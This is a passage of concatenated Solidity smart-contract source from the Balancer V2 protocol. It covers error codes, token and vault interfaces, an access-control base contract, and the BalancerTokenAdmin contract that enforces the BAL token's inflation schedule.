STABLE_GET_BALANCE_DIDNT_CONVERGE = 322; uint256 internal constant RELAYER_NOT_CONTRACT = 323; uint256 internal constant BASE_POOL_RELAYER_NOT_CALLED = 324; uint256 internal constant REBALANCING_RELAYER_REENTERED = 325; uint256 internal constant GRADUAL_UPDATE_TIME_TRAVEL = 326; uint256 internal constant SWAPS_DISABLED = 327; uint256 internal constant CALLER_IS_NOT_LBP_OWNER = 328; uint256 internal constant PRICE_RATE_OVERFLOW = 329; uint256 internal constant INVALID_JOIN_EXIT_KIND_WHILE_SWAPS_DISABLED = 330; uint256 internal constant WEIGHT_CHANGE_TOO_FAST = 331; uint256 internal constant LOWER_GREATER_THAN_UPPER_TARGET = 332; uint256 internal constant UPPER_TARGET_TOO_HIGH = 333; uint256 internal constant UNHANDLED_BY_LINEAR_POOL = 334; uint256 internal constant OUT_OF_TARGET_RANGE = 335; uint256 internal constant UNHANDLED_EXIT_KIND = 336; uint256 internal constant UNAUTHORIZED_EXIT = 337; uint256 internal constant MAX_MANAGEMENT_SWAP_FEE_PERCENTAGE = 338; uint256 internal constant UNHANDLED_BY_MANAGED_POOL = 339; uint256 internal constant UNHANDLED_BY_PHANTOM_POOL = 340; uint256 internal constant TOKEN_DOES_NOT_HAVE_RATE_PROVIDER = 341; uint256 internal constant INVALID_INITIALIZATION = 342; uint256 internal constant OUT_OF_NEW_TARGET_RANGE = 343; uint256 internal constant UNAUTHORIZED_OPERATION = 344; uint256 internal constant UNINITIALIZED_POOL_CONTROLLER = 345; // Lib uint256 internal constant REENTRANCY = 400; uint256 internal constant SENDER_NOT_ALLOWED = 401; uint256 internal constant PAUSED = 402; uint256 internal constant PAUSE_WINDOW_EXPIRED = 403; uint256 internal constant MAX_PAUSE_WINDOW_DURATION = 404; uint256 internal constant MAX_BUFFER_PERIOD_DURATION = 405; uint256 internal constant INSUFFICIENT_BALANCE = 406; uint256 internal constant INSUFFICIENT_ALLOWANCE = 407; uint256 internal constant ERC20_TRANSFER_FROM_ZERO_ADDRESS = 408; uint256 internal constant ERC20_TRANSFER_TO_ZERO_ADDRESS = 409; uint256 internal constant ERC20_MINT_TO_ZERO_ADDRESS = 410; uint256 internal constant ERC20_BURN_FROM_ZERO_ADDRESS = 411; uint256 internal constant ERC20_APPROVE_FROM_ZERO_ADDRESS = 412; uint256 internal constant ERC20_APPROVE_TO_ZERO_ADDRESS = 413; uint256 internal constant ERC20_TRANSFER_EXCEEDS_ALLOWANCE = 414; uint256 internal constant ERC20_DECREASED_ALLOWANCE_BELOW_ZERO = 415; uint256 internal constant ERC20_TRANSFER_EXCEEDS_BALANCE = 416; uint256 internal constant ERC20_BURN_EXCEEDS_ALLOWANCE = 417; uint256 internal constant SAFE_ERC20_CALL_FAILED = 418; uint256 internal constant ADDRESS_INSUFFICIENT_BALANCE = 419; uint256 internal constant ADDRESS_CANNOT_SEND_VALUE = 420; uint256 internal constant SAFE_CAST_VALUE_CANT_FIT_INT256 = 421; uint256 internal constant GRANT_SENDER_NOT_ADMIN = 422; uint256 internal constant REVOKE_SENDER_NOT_ADMIN = 423; uint256 internal constant RENOUNCE_SENDER_NOT_ALLOWED = 424; uint256 internal constant BUFFER_PERIOD_EXPIRED = 425; uint256 internal constant CALLER_IS_NOT_OWNER = 426; uint256 internal constant NEW_OWNER_IS_ZERO = 427; uint256 internal constant CODE_DEPLOYMENT_FAILED = 428; uint256 internal constant CALL_TO_NON_CONTRACT = 429; uint256 internal constant LOW_LEVEL_CALL_FAILED = 430; uint256 internal constant NOT_PAUSED = 431; uint256 internal constant ADDRESS_ALREADY_ALLOWLISTED = 432; uint256 internal constant ADDRESS_NOT_ALLOWLISTED = 433; uint256 internal constant ERC20_BURN_EXCEEDS_BALANCE = 434; // Vault uint256 internal constant INVALID_POOL_ID = 500; uint256 internal constant CALLER_NOT_POOL = 501; uint256 internal constant SENDER_NOT_ASSET_MANAGER = 502; uint256 internal constant USER_DOESNT_ALLOW_RELAYER = 503; uint256 internal constant INVALID_SIGNATURE = 504; uint256 internal constant EXIT_BELOW_MIN = 505; uint256 internal constant JOIN_ABOVE_MAX = 506; uint256 internal constant SWAP_LIMIT = 507; uint256 internal constant SWAP_DEADLINE = 508; uint256 internal constant CANNOT_SWAP_SAME_TOKEN = 509; uint256 internal constant UNKNOWN_AMOUNT_IN_FIRST_SWAP = 510; uint256 internal constant MALCONSTRUCTED_MULTIHOP_SWAP = 511; uint256 internal constant INTERNAL_BALANCE_OVERFLOW = 512; uint256 internal constant INSUFFICIENT_INTERNAL_BALANCE = 513; uint256 internal constant INVALID_ETH_INTERNAL_BALANCE = 514; uint256 internal constant INVALID_POST_LOAN_BALANCE = 515; uint256 internal constant INSUFFICIENT_ETH = 516; uint256 internal constant UNALLOCATED_ETH = 517; uint256 internal constant ETH_TRANSFER = 518; uint256 internal constant CANNOT_USE_ETH_SENTINEL = 519; uint256 internal constant TOKENS_MISMATCH = 520; uint256 internal constant TOKEN_NOT_REGISTERED = 521; uint256 internal constant TOKEN_ALREADY_REGISTERED = 522; uint256 internal constant TOKENS_ALREADY_SET = 523; uint256 internal constant TOKENS_LENGTH_MUST_BE_2 = 524; uint256 internal constant NONZERO_TOKEN_BALANCE = 525; uint256 internal constant BALANCE_TOTAL_OVERFLOW = 526; uint256 internal constant POOL_NO_TOKENS = 527; uint256 internal constant INSUFFICIENT_FLASH_LOAN_BALANCE = 528; // Fees uint256 internal constant SWAP_FEE_PERCENTAGE_TOO_HIGH = 600; uint256 internal constant FLASH_LOAN_FEE_PERCENTAGE_TOO_HIGH = 601; uint256 internal constant INSUFFICIENT_FLASH_LOAN_FEE_AMOUNT = 602; } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; /** * @dev Interface for the SignatureValidator helper, used to support meta-transactions. */ interface ISignaturesValidator { /** * @dev Returns the EIP712 domain separator. */ function getDomainSeparator() external view returns (bytes32); /** * @dev Returns the next nonce used by an address to sign messages. */ function getNextNonce(address user) external view returns (uint256); } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; /** * @dev Interface for the TemporarilyPausable helper. */ interface ITemporarilyPausable { /** * @dev Emitted every time the pause state changes by `_setPaused`. */ event PausedStateChanged(bool paused); /** * @dev Returns the current paused state. */ function getPausedState() external view returns ( bool paused, uint256 pauseWindowEndTime, uint256 bufferPeriodEndTime ); } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; import "../openzeppelin/IERC20.sol"; /** * @dev Interface for WETH9. * See https://github.com/gnosis/canonical-weth/blob/0dd1ea3e295eef916d0c6223ec63141137d22d67/contracts/WETH9.sol */ interface IWETH is IERC20 { function deposit() external payable; function withdraw(uint256 amount) external; } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; /** * @dev This is an empty interface used to represent either ERC20-conforming token contracts or ETH (using the zero * address sentinel value). We're just relying on the fact that `interface` can be used to declare new address-like * types. * * This concept is unrelated to a Pool's Asset Managers. */ interface IAsset { // solhint-disable-previous-line no-empty-blocks } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; // Inspired by Aave Protocol's IFlashLoanReceiver. import "@balancer-labs/v2-solidity-utils/contracts/openzeppelin/IERC20.sol"; interface IFlashLoanRecipient { /** * @dev When `flashLoan` is called on the Vault, it invokes the `receiveFlashLoan` hook on the recipient. * * At the time of the call, the Vault will have transferred `amounts` for `tokens` to the recipient. Before this * call returns, the recipient must have transferred `amounts` plus `feeAmounts` for each token back to the * Vault, or else the entire flash loan will revert. * * `userData` is the same value passed in the `IVault.flashLoan` call. */ function receiveFlashLoan( IERC20[] memory tokens, uint256[] memory amounts, uint256[] memory feeAmounts, bytes memory userData ) external; } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; pragma experimental ABIEncoderV2; import "@balancer-labs/v2-solidity-utils/contracts/openzeppelin/IERC20.sol"; import "./IVault.sol"; import "./IAuthorizer.sol"; interface IProtocolFeesCollector { event SwapFeePercentageChanged(uint256 newSwapFeePercentage); event FlashLoanFeePercentageChanged(uint256 newFlashLoanFeePercentage); function withdrawCollectedFees( IERC20[] calldata tokens, uint256[] calldata amounts, address recipient ) external; function setSwapFeePercentage(uint256 newSwapFeePercentage) external; function setFlashLoanFeePercentage(uint256 newFlashLoanFeePercentage) external; function getSwapFeePercentage() external view returns (uint256); function getFlashLoanFeePercentage() external view returns (uint256); function getCollectedFeeAmounts(IERC20[] memory tokens) external view returns (uint256[] memory feeAmounts); function getAuthorizer() external view returns (IAuthorizer); function vault() external view returns (IVault); } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; import "@balancer-labs/v2-solidity-utils/contracts/helpers/IAuthentication.sol"; import "@balancer-labs/v2-vault/contracts/interfaces/IVault.sol"; import "./IBalancerToken.sol"; interface IBalancerTokenAdmin is IAuthentication { // solhint-disable func-name-mixedcase function INITIAL_RATE() external view returns (uint256); function RATE_REDUCTION_TIME() external view returns (uint256); function RATE_REDUCTION_COEFFICIENT() external view returns (uint256); function RATE_DENOMINATOR() external view returns (uint256); // solhint-enable func-name-mixedcase /** * @notice Returns the address of the Balancer Governance Token */ function getBalancerToken() external view returns (IBalancerToken); /** * @notice Returns the Balancer Vault. */ function getVault() external view returns (IVault); function activate() external; function rate() external view returns (uint256); function startEpochTimeWrite() external returns (uint256); function mint(address to, uint256 amount) external; } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; import "@balancer-labs/v2-solidity-utils/contracts/openzeppelin/IERC20.sol"; interface IBalancerToken is IERC20 { function mint(address to, uint256 amount) external; function getRoleMemberCount(bytes32 role) external view returns (uint256); function getRoleMember(bytes32 role, uint256 index) external view returns (address); function hasRole(bytes32 role, address account) external view returns (bool); function getRoleAdmin(bytes32 role) external view returns (bytes32); function grantRole(bytes32 role, address account) external; function revokeRole(bytes32 role, address account) external; // solhint-disable-next-line func-name-mixedcase function DEFAULT_ADMIN_ROLE() external view returns (bytes32); // solhint-disable-next-line func-name-mixedcase function MINTER_ROLE() external view returns (bytes32); // solhint-disable-next-line func-name-mixedcase function SNAPSHOT_ROLE() external view returns (bytes32); function snapshot() external; } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; import "./BalancerErrors.sol"; import "./IAuthentication.sol"; /** * @dev Building block for performing access control on external functions. * * This contract is used via the `authenticate` modifier (or the `_authenticateCaller` function), which can be applied * to external functions to only make them callable by authorized accounts. * * Derived contracts must implement the `_canPerform` function, which holds the actual access control logic. */ abstract contract Authentication is IAuthentication { bytes32 private immutable _actionIdDisambiguator; /** * @dev The main purpose of the `actionIdDisambiguator` is to prevent accidental function selector collisions in * multi contract systems. * * There are two main uses for it: * - if the contract is a singleton, any unique identifier can be used to make the associated action identifiers * unique. The contract's own address is a good option. * - if the contract belongs to a family that shares action identifiers for the same functions, an identifier * shared by the entire family (and no other contract) should be used instead. */ constructor(bytes32 actionIdDisambiguator) { _actionIdDisambiguator = actionIdDisambiguator; } /** * @dev Reverts unless the caller is allowed to call this function. Should only be applied to external functions. */ modifier authenticate() { _authenticateCaller(); _; } /** * @dev Reverts unless the caller is allowed to call the entry point function. */ function _authenticateCaller() internal view { bytes32 actionId = getActionId(msg.sig); _require(_canPerform(actionId, msg.sender), Errors.SENDER_NOT_ALLOWED); } function getActionId(bytes4 selector) public view override returns (bytes32) { // Each external function is dynamically assigned an action identifier as the hash of the disambiguator and the // function selector. Disambiguation is necessary to avoid potential collisions in the function selectors of // multiple contracts. return keccak256(abi.encodePacked(_actionIdDisambiguator, selector)); } function _canPerform(bytes32 actionId, address user) internal view virtual returns (bool); } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; import "@balancer-labs/v2-solidity-utils/contracts/helpers/Authentication.sol"; import "@balancer-labs/v2-solidity-utils/contracts/openzeppelin/ReentrancyGuard.sol"; import "@balancer-labs/v2-solidity-utils/contracts/math/Math.sol"; import "./interfaces/IBalancerTokenAdmin.sol"; // solhint-disable not-rely-on-time /** * @title Balancer Token Admin * @notice This contract holds all admin powers over the BAL token passing through calls * while delegating access control to the Balancer Authorizer * * In addition, calls to the mint function must respect the inflation schedule as defined in this contract. * As this contract is the only way to mint BAL tokens this ensures that the maximum allowed supply is enforced * @dev This contract exists as a consequence of the gauge systems needing to know a fixed inflation schedule * in order to know how much BAL a gauge is allowed to mint. As this does not exist within the BAL token itself * it is defined here, we must then wrap the token's minting functionality in order for this to be meaningful. */ contract BalancerTokenAdmin is IBalancerTokenAdmin, Authentication, ReentrancyGuard { using Math for uint256; // Initial inflation rate of 145k BAL per week. uint256 public constant override INITIAL_RATE = (145000 * 1e18) / uint256(1 weeks); // BAL has 18 decimals uint256 public constant override RATE_REDUCTION_TIME = 365 days; uint256 public constant override RATE_REDUCTION_COEFFICIENT = 1189207115002721024; // 2 ** (1/4) * 1e18 uint256 public constant override RATE_DENOMINATOR = 1e18; IVault private immutable _vault; IBalancerToken private immutable _balancerToken; event MiningParametersUpdated(uint256 rate, uint256 supply); // Supply Variables uint256 private _miningEpoch; uint256 private _startEpochTime = type(uint256).max; // Sentinel value for contract not being activated uint256 private _startEpochSupply; uint256 private _rate; constructor(IVault vault, IBalancerToken balancerToken) Authentication(bytes32(uint256(address(this)))) { // BalancerTokenAdmin is a singleton, so it simply uses its own address to disambiguate action identifiers _balancerToken = balancerToken; _vault = vault; } /** * @dev Returns the Balancer token. */ function getBalancerToken() external view override returns (IBalancerToken) { return _balancerToken; } /** * @notice Returns the Balancer Vault. */ function getVault() public view override returns (IVault) { return _vault; } /** * @notice Returns the Balancer Vault's current authorizer. */ function getAuthorizer() public view returns (IAuthorizer) { return getVault().getAuthorizer(); } /** * @notice Initiate BAL token inflation schedule * @dev Reverts if contract does not have sole minting powers over BAL (and no other minters can be added). */ function activate() external override nonReentrant authenticate { require(_startEpochTime == type(uint256).max, "Already activated"); // We need to check that this contract can't be bypassed to mint more BAL in the future. // If other addresses had minting rights over the BAL token then this inflation schedule // could be bypassed by minting new tokens directly on the BalancerGovernanceToken contract. // On the BalancerGovernanceToken contract the minter role's admin is the DEFAULT_ADMIN_ROLE. // No external function exists to change the minter role's admin so we cannot make the list of // minters immutable without revoking all access to DEFAULT_ADMIN_ROLE. bytes32 minterRole = _balancerToken.MINTER_ROLE(); bytes32 snapshotRole = _balancerToken.SNAPSHOT_ROLE(); bytes32 adminRole = _balancerToken.DEFAULT_ADMIN_ROLE(); require(_balancerToken.hasRole(adminRole, address(this)), "BalancerTokenAdmin is not an admin"); // All other minters must be removed to avoid inflation schedule enforcement being bypassed. uint256 numberOfMinters = _balancerToken.getRoleMemberCount(minterRole); for (uint256 i = 0; i < numberOfMinters; ++i) { address minter = _balancerToken.getRoleMember(minterRole, 0); _balancerToken.revokeRole(minterRole, minter); } // Give this contract minting rights over the BAL token _balancerToken.grantRole(minterRole, address(this)); // BalancerGovernanceToken exposes a role-restricted `snapshot` function for performing onchain voting. // We delegate control over this to the Balancer Authorizer by removing this role from all current addresses // and exposing a function which defers to the Authorizer for access control. uint256 numberOfSnapshotters = _balancerToken.getRoleMemberCount(snapshotRole); for (uint256 i = 0; i < numberOfSnapshotters; ++i) { address snapshotter = _balancerToken.getRoleMember(snapshotRole, 0); _balancerToken.revokeRole(snapshotRole, snapshotter); } // Give this contract snapshotting rights over the BAL token _balancerToken.grantRole(snapshotRole, address(this)); // BalancerTokenAdmin now is the only holder of MINTER_ROLE and SNAPSHOT_ROLE for BalancerGovernanceToken. // We can't prevent any other admins from granting other addresses these roles however. // This undermines the ability for BalancerTokenAdmin to enforce the correct inflation schedule. // The only way to prevent this is for BalancerTokenAdmin to be the only admin. We then remove all other admins. uint256 numberOfAdmins = _balancerToken.getRoleMemberCount(adminRole); uint256 skipSelf = 0; for (uint256 i = 0; i < numberOfAdmins; ++i) { address admin = _balancerToken.getRoleMember(adminRole, skipSelf); if (admin != address(this)) { _balancerToken.revokeRole(adminRole, admin); } else { // This contract is now the admin with index 0, we now delete the address with index 1 instead skipSelf = 1; } } // BalancerTokenAdmin doesn't actually need admin rights any more and won't grant rights to any more addresses // We then renounce our admin role to ensure that another address won't gain absolute minting powers. _balancerToken.revokeRole(adminRole, address(this)); // Perform sanity checks to make sure we're not leaving the roles in a broken state require(_balancerToken.getRoleMemberCount(adminRole) == 0, "Address exists with admin rights"); require(_balancerToken.hasRole(minterRole, address(this)), "BalancerTokenAdmin is not a minter"); require(_balancerToken.hasRole(snapshotRole, address(this)), "BalancerTokenAdmin is not a snapshotter"); require(_balancerToken.getRoleMemberCount(minterRole) == 1, "Multiple minters exist"); require(_balancerToken.getRoleMemberCount(snapshotRole) == 1, "Multiple snapshotters exist"); // As BAL inflation is now enforced by this contract we can initialise the relevant variables. _startEpochSupply = _balancerToken.totalSupply(); _startEpochTime = block.timestamp; _rate = INITIAL_RATE; emit MiningParametersUpdated(INITIAL_RATE, _startEpochSupply); } /** * @notice Mint BAL tokens subject to the defined inflation schedule * @dev Callable only by addresses defined in the Balancer Authorizer contract */ function mint(address to, uint256 amount) external override authenticate { // Check if we've passed into a new epoch such that we should calculate available supply with a smaller rate. if (block.timestamp >= _startEpochTime.add(RATE_REDUCTION_TIME)) { _updateMiningParameters(); } require( _balancerToken.totalSupply().add(amount) <= _availableSupply(), "Mint amount exceeds remaining available supply" ); _balancerToken.mint(to, amount); } /** * @notice Perform a snapshot of BAL token balances * @dev Callable only by addresses defined in the Balancer Authorizer contract */ function snapshot() external authenticate { _balancerToken.snapshot(); } /** * @notice Returns the current epoch number. */ function getMiningEpoch() external view returns (uint256) { return _miningEpoch; } /** * @notice Returns the start timestamp of the current epoch. */ function getStartEpochTime() external view returns (uint256) { return _startEpochTime; } /** * @notice Returns the start timestamp of the next epoch. */ function getFutureEpochTime() external view returns (uint256) { return _startEpochTime.add(RATE_REDUCTION_TIME); } /** * @notice Returns the available supply at the beginning of the current epoch. */ function getStartEpochSupply() external view returns (uint256) { return _startEpochSupply; } /** * @notice Returns the current inflation rate of BAL per second */ function getInflationRate() external view returns (uint256) { return _rate; } /** * @notice Maximum allowable number of tokens in existence (claimed or unclaimed) */ function getAvailableSupply() external view returns (uint256) { return _availableSupply(); } /** * @notice Get timestamp of the current mining epoch start while simultaneously updating mining parameters * @return Timestamp of the current epoch */ function startEpochTimeWrite() external override returns (uint256) { return _startEpochTimeWrite(); } /** * @notice Get timestamp of the next mining epoch start while simultaneously updating mining parameters * @return Timestamp of the next epoch */ function futureEpochTimeWrite() external returns (uint256) { return _startEpochTimeWrite().add(RATE_REDUCTION_TIME); } /** * @notice Update mining rate and supply at the start of the epoch * @dev Callable by any address, but only once per epoch * Total supply becomes slightly larger if this function is called late */ function updateMiningParameters() external { require(block.timestamp >= _startEpochTime.add(RATE_REDUCTION_TIME), "Epoch has not finished yet"); _updateMiningParameters(); } /** * @notice How much supply is mintable from start timestamp till end timestamp * @param start Start of the time interval (timestamp) * @param end End of the time interval (timestamp) * @return Tokens mintable from `start` till `end` */ function mintableInTimeframe(uint256 start, uint256 end) external view returns (uint256) { return _mintableInTimeframe(start, end); } // Internal functions function _canPerform(bytes32 actionId, address account) internal view override returns (bool) { return getAuthorizer().canPerform(actionId, account, address(this)); } /** * @notice Maximum allowable number of tokens in existence (claimed or unclaimed) */ function _availableSupply() internal view returns (uint256) { uint256 newSupplyFromCurrentEpoch = (block.timestamp.sub(_startEpochTime)).mul(_rate); return _startEpochSupply.add(newSupplyFromCurrentEpoch); } /** * @notice Get timestamp of the current mining epoch start while simultaneously updating mining parameters * @return Timestamp of the current epoch */ function _startEpochTimeWrite() internal returns (uint256) { uint256 startEpochTime = _startEpochTime; if (block.timestamp >= startEpochTime.add(RATE_REDUCTION_TIME)) { _updateMiningParameters(); return _startEpochTime; } return startEpochTime; } function _updateMiningParameters() internal { uint256 inflationRate = _rate; uint256 startEpochSupply = _startEpochSupply.add(inflationRate.mul(RATE_REDUCTION_TIME)); inflationRate = inflationRate.mul(RATE_DENOMINATOR).divDown(RATE_REDUCTION_COEFFICIENT); _miningEpoch = _miningEpoch.add(1); _startEpochTime = _startEpochTime.add(RATE_REDUCTION_TIME); _rate = inflationRate; _startEpochSupply = startEpochSupply; emit MiningParametersUpdated(inflationRate, startEpochSupply); } /** * @notice How much supply is mintable from start timestamp till end timestamp * @param start Start of the time interval (timestamp) * @param end End of the time interval (timestamp) * @return Tokens mintable from `start` till `end` */ function _mintableInTimeframe(uint256 start, uint256 end) internal view returns (uint256) { require(start <= end, "start > end"); uint256 currentEpochTime = _startEpochTime; uint256 currentRate = _rate; // It shouldn't be possible to over/underflow in here but we add checked maths to be safe // Special case if end is in future (not yet minted) epoch if (end > currentEpochTime.add(RATE_REDUCTION_TIME)) { currentEpochTime = currentEpochTime.add(RATE_REDUCTION_TIME); currentRate = currentRate.mul(RATE_DENOMINATOR).divDown(RATE_REDUCTION_COEFFICIENT); } require(end <= currentEpochTime.add(RATE_REDUCTION_TIME), "too far in future"); uint256 toMint = 0; for (uint256 epoch = 0; epoch < 999; ++epoch) { if (end >= currentEpochTime) { uint256 currentEnd = end; if (currentEnd > currentEpochTime.add(RATE_REDUCTION_TIME)) { currentEnd = currentEpochTime.add(RATE_REDUCTION_TIME); } uint256 currentStart = start; if (currentStart >= currentEpochTime.add(RATE_REDUCTION_TIME)) { // We should never get here but what if... break; } else if (currentStart < currentEpochTime) { currentStart = currentEpochTime; } toMint = toMint.add(currentRate.mul(currentEnd.sub(currentStart))); if (start >= currentEpochTime) { break; } } currentEpochTime = currentEpochTime.sub(RATE_REDUCTION_TIME); // double-division with rounding made rate a bit less => good currentRate = currentRate.mul(RATE_REDUCTION_COEFFICIENT).divDown(RATE_DENOMINATOR); assert(currentRate <= INITIAL_RATE); } return toMint; } // The below functions are duplicates of functions available above. // They are included for ABI compatibility with snake_casing as used in vyper contracts. // solhint-disable func-name-mixedcase function rate() external view override returns (uint256) { return _rate; } function available_supply() external view returns (uint256) { return _availableSupply(); } /** * @notice Get timestamp of the current mining epoch start while simultaneously updating mining parameters * @return Timestamp of the current epoch */ function start_epoch_time_write() external returns (uint256) { return _startEpochTimeWrite(); } /** * @notice Get timestamp of the next mining epoch start while simultaneously updating mining parameters * @return Timestamp of the next epoch */ function future_epoch_time_write() external returns (uint256) { return _startEpochTimeWrite().add(RATE_REDUCTION_TIME); } /** * @notice Update mining rate and supply at the start of the epoch * @dev Callable by any address, but only once per epoch * Total supply becomes slightly larger if this function is called late */ function update_mining_parameters() external { require(block.timestamp >= _startEpochTime.add(RATE_REDUCTION_TIME), "Epoch has not finished yet"); _updateMiningParameters(); } /** * @notice How much supply is mintable from start timestamp till end timestamp * @param start Start of the time interval (timestamp) * @param end End of the time interval (timestamp) * @return Tokens mintable from `start` till `end` */ function mintable_in_timeframe(uint256 start, uint256 end) external view returns (uint256) { return _mintableInTimeframe(start, end); } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; import "../helpers/BalancerErrors.sol"; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow checks. * Adapted from OpenZeppelin's SafeMath library. */ library Math { /** * @dev Returns the absolute value of a signed integer. */ function abs(int256 a) internal pure returns (uint256) { return a > 0 ? uint256(a) : uint256(-a); } /** * @dev Returns the addition of two unsigned integers of 256 bits, reverting on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; _require(c >= a, Errors.ADD_OVERFLOW); return c; } /** * @dev Returns the addition of two signed integers, reverting on overflow. */ function add(int256 a, int256 b) internal pure returns (int256) { int256 c = a + b; _require((b >= 0 && c >= a) || (b < 0 && c < a), Errors.ADD_OVERFLOW); return c; } /** * @dev Returns the subtraction of two unsigned integers of 256 bits, reverting on overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { _require(b <= a, Errors.SUB_OVERFLOW); uint256 c = a - b; return c; } /** * @dev Returns the subtraction of two signed integers, reverting on overflow. */ function sub(int256 a, int256 b) internal pure returns (int256) { 